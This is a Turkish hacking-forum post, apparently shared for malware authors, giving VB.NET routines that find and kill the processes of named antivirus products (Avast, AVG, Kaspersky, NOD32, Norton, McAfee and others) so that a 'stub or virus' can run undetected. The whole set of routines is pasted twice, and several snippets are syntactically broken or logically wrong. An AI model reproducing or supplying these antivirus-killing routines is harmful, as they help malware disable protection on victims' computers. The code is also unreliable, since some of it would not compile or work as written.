redkit
Prof Spys-z
- Katılım
- 22 Nis 2013
- Mesajlar
- 880
- Tepkime puanı
- 0
- Puanları
- 0
Vb.net de stub veya virus kodlarken antileri kapatmak için kodlar
[hide]
Antia-squared :
---------------------------------
Sub Antia-squared()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "a2servic.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
AntiGen :
---------------------------------
Sub Anti AntiGen()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "antigen.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Avast :
---------------------------------
Sub AntiAvast()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ashWebSv.exe"
ktp(i).Kill()
Case Else
End Select
Next
---------------------------------
AVG:
---------------------------------
Sub AntiAVG()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "avgemc.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
BitDefender 2 :
---------------------------------
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
---------------------------------
BitDefender :
---------------------------------
Sub AntiBitDefender()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "bdagent"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Comodo :
---------------------------------
Sub AntiComodo()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "cpf.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Kaspersky :
---------------------------------
Sub AntiKaspersky()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "avp"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
McAfee :
---------------------------------
Sub AntiMcAfee()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "mcagent" & "mcuimgr"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
NOD32 2 :
---------------------------------
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod.ProcessName)
If Strings.UCase(nod.ProcessName)=Strings.UCase("e gui") Then
nod.Kill()
End If
Next
---------------------------------
NOD32 :
---------------------------------
Sub AntiNOD32()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "egui"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Norton :
---------------------------------
Sub Anti Norton()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ccapp.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
[/hide]
[hide]
Antia-squared :
---------------------------------
Sub Antia-squared()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "a2servic.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
AntiGen :
---------------------------------
Sub Anti AntiGen()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "antigen.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Avast :
---------------------------------
Sub AntiAvast()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ashWebSv.exe"
ktp(i).Kill()
Case Else
End Select
Next
---------------------------------
AVG:
---------------------------------
Sub AntiAVG()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "avgemc.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
BitDefender 2 :
---------------------------------
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
---------------------------------
BitDefender :
---------------------------------
Sub AntiBitDefender()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "bdagent"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Comodo :
---------------------------------
Sub AntiComodo()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "cpf.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Kaspersky :
---------------------------------
Sub AntiKaspersky()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "avp"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
McAfee :
---------------------------------
Sub AntiMcAfee()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "mcagent" & "mcuimgr"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
NOD32 2 :
---------------------------------
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod.ProcessName)
If Strings.UCase(nod.ProcessName)=Strings.UCase("e gui") Then
nod.Kill()
End If
Next
---------------------------------
NOD32 :
---------------------------------
Sub AntiNOD32()
Dim KillTheProcess As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To KillTheProcess.Length - 1
Select Case Strings.LCase(KillTheProcess(i).ProcessName)
Case "egui"
KillTheProcess(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
Norton :
---------------------------------
Sub Anti Norton()
Dim ktp As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To ktp.Length - 1
Select Case Strings.LCase(ktp(i).ProcessName)
Case "ccapp.exe"
ktp(i).Kill()
Case Else
End Select
Next
End Sub
---------------------------------
[/hide]